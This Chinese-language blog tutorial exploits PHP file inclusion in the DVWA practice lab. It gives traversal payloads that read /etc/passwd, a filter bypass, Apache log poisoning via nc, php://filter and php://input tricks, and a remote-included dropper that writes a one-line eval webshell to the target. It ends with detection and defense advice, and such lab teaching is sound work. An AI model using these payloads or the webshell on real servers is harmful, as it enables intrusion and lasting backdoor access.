DVWA之PHP文件包含漏洞(File Inclusion)

时间:2021-02-14 21:39:55

PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。更多的介绍这里就不多说了,直接上正题~


PHP文件包含的几个函数:

include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。

include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。

require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。


文件包含漏洞的一般特征如下:

?page=a.php

?home=a.html

?file=content


目录遍历(Directory traversal)和文件包含(File include)的一些区别:

目录遍历是可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。

文件包含是通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含。


几种经典的测试方法:

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

(通过多个../可以让目录回到根目录中然后再进入目标目录)


编码绕过字符过滤:

可以使用多种编码方式进行绕过

%00嵌入任意位置

.的利用


向量字典:

用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:

general:目录猜解

Injections:注入

Stress:压力测试

······



Low级:

直接通过将include.php改为../../../../../etc/passwd:

DVWA之PHP文件包含漏洞(File Inclusion)

../实现向上一级目录跳转,多个时就会返回到根目录,其数量应多一点。


通过绝对路径也可以直接访问得到:

DVWA之PHP文件包含漏洞(File Inclusion)


通过文件系统访问方式file://也可以实现访问,注意一点的是后面必须是绝对路径:

DVWA之PHP文件包含漏洞(File Inclusion)


另外,可以换成url编码进行尝试,示例中在Burpsuite中进行编码:

DVWA之PHP文件包含漏洞(File Inclusion)

DVWA之PHP文件包含漏洞(File Inclusion)


查看源代码:

<?php 

$file = $_GET['page']; //The page we wish to display

?>

可以发现,对于GET请求发送过来的内容并没有进行任何的过滤。

Medium级:

先看看源代码:

<?php 

$file = $_GET['page']; // The page we wish to display

// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);


?>

就是将输入的url参数中包含的“http://”、“https://”等字符串替换成空的字符串,即过滤了远程文件包含,对于本地文件包含并没有任何过滤:

DVWA之PHP文件包含漏洞(File Inclusion)


另外,对于远程文件包含,可以利用内嵌的组合形式进行绕过,如hthttps://tps://等:

DVWA之PHP文件包含漏洞(File Inclusion)



High级:

源代码:

<?php 

$file = $_GET['page']; //The page we wish to display

// Only allow include.php
if ( $file != "include.php" ) {
echo "ERROR: File not found!";
exit;
}

?>

设置为只有当为include.php时才能通过,本质就是利用白名单机制进行过滤,即很难再进行漏洞的利用了,限于知识量有限本人还不知如何绕过。



利用:

1、读取敏感文件:

如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的,前提是知道路径。


2、包含Apache日志文件:

可以用nc向目标服务器发送一条内容为一句话木马的错误的指令,让其保存在目标服务器的access.log日志文件中,再通过本地文件包含的方式实现利用。但是测试时没有成功,因为MySQL用户权限不足,不能读取Apache的日志,这时需要提权操作。

这里简便地演示一下,就直接修改文件夹属主,先到/var/log目录下,然后输入命令:chown www-data:www-data apache2 -R

DVWA之PHP文件包含漏洞(File Inclusion)

接着以向日志文件写入phpinfo为示例,注意一点是,不能直接在URL栏填写,因为一些字符会被URL编码而不能达到目的,要使用Burpsuite截断代理修改数据包来进行:

DVWA之PHP文件包含漏洞(File Inclusion)

然后到Metasploitable2的Apache2的access.log文件中查看:

DVWA之PHP文件包含漏洞(File Inclusion)

确实是存在于日志文件中了。

最后直接包含该access.log文件即可:

DVWA之PHP文件包含漏洞(File Inclusion)


3、远程包含shell:

以Medium级为背景,在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件,在Kali中通过以下命令启动Apache:

service apache2 start

然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件,从而实现利用。

这里注意的是,这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种,因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行,如下示例,a.php文件内容如上,但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的:

DVWA之PHP文件包含漏洞(File Inclusion)

因而正确的姿势应该是,该木马文件实现将木马内容写入目标服务器中的1.txt文件,如:

<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>

访问:

DVWA之PHP文件包含漏洞(File Inclusion)

没有啥情况,接着到DVWA服务器查看吧:

DVWA之PHP文件包含漏洞(File Inclusion)

存在后门PHP文件,没有问题。

这里示例以phpinfo测试:

DVWA之PHP文件包含漏洞(File Inclusion)


4、配合文件上传漏洞:

和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。

例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>

直接包含该文件会将该文件以PHP来运行:

DVWA之PHP文件包含漏洞(File Inclusion)


5、使用PHP封装协议读取文件和写入PHP文件:

1、读取文件:

先看看读取文件,如输入page参数值为:php://filter/read=convert.base64-encode/resource=../../../../../var/www/dvwa/hackable/uploads/1.txt

访问,可以看到显示了base64编码的内容:

DVWA之PHP文件包含漏洞(File Inclusion)

使用Burpsuite的Decode模块解码:

DVWA之PHP文件包含漏洞(File Inclusion)

可以发现就是之前上传的示例文件内容。


2、写入PHP文件:

前提条件是allow_url_include为on,则构造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input

然后再POST需要输入的内容即可,这里通过Firefox的HackBar来POST数据:

DVWA之PHP文件包含漏洞(File Inclusion)

可以看到输入的内容执行并返回了结果。


检测方法:

找到有包含函数的页面,对函数内容进行替换查看结果;

可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;

白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。


防御方法:

1、严格判断包含中的参数是否外部可控。

2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。

3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。

4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。

5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。